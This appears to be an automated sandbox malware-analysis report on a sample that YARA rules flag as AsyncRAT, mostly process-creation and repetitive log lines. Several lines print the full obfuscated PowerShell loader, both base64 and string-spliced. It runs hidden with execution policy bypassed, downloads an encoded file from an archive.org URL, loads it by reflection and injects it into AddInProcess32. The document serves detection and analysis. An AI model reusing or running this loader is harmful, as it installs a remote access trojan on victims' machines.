Anti Malware Scan Interface: $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF848DE09C8 push E85D985Dh; ret	1_2_00007FF848DE09F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF848DE2618 push edx; ret	1_2_00007FF848DE2626
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848DC62D8 push E85AC42Fh; ret	4_2_00007FF848DC62F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848DC47AB push ecx; retf	4_2_00007FF848DC47AC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848DCC757 push ebp; retf	4_2_00007FF848DCC758

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156d35ba220.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.156d35ba220.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3318989438.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2106713768.00000156D35A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 4308, type: MEMORYSTR

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
